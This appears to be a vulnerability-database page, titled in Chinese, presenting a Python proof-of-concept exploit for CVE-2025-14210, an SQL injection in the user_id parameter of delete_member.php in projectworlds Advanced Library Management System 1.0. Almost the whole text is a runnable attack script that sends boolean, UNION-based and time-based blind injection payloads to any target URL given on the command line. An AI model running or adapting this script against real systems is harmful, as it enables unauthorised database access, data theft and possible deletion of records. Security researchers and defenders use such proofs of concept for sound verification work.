CVE-2025-14210 projectworlds高级图书馆管理系统SQL注入漏洞

import requests import sys # CVE-2025-14210 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # File: /delete_member.php # Parameter: user_id def exploit_sqli(target_url, payload): """ SQL Injection exploit for CVE-2025-14210 Extract database version using UNION-based injection """ # Construct malicious URL with SQL injection payload # Basic payload to test vulnerability test_payload = "1' OR '1'='1" # UNION-based payload to extract database information union_payload = "1' UNION SELECT NULL,version(),user(),database()-- -" # Time-based blind SQL injection payload time_payload = "1' AND SLEEP(5)-- -" try: # Test basic injection params = {'user_id': test_payload} response = requests.get(f'{target_url}/delete_member.php', params=params, timeout=10) print(f'[+] Testing basic injection: {response.status_code}') # Extract database version using UNION params = {'user_id': union_payload} response = requests.get(f'{target_url}/delete_member.php', params=params, timeout=10) print(f'[+] UNION injection response length: {len(response.text)}') # Time-based blind injection params = {'user_id': time_payload} response = requests.get(f'{target_url}/delete_member.php', params=params, timeout=15) print(f'[+] Time-based injection response time: {response.elapsed.total_seconds()}s') return True except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-14210.py <target_url>') print('Example: python cve-2025-14210.py http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') print(f'[*] Targeting: {target}') print(f'[*] Exploiting CVE-2025-14210 SQL Injection') exploit_sqli(target, '')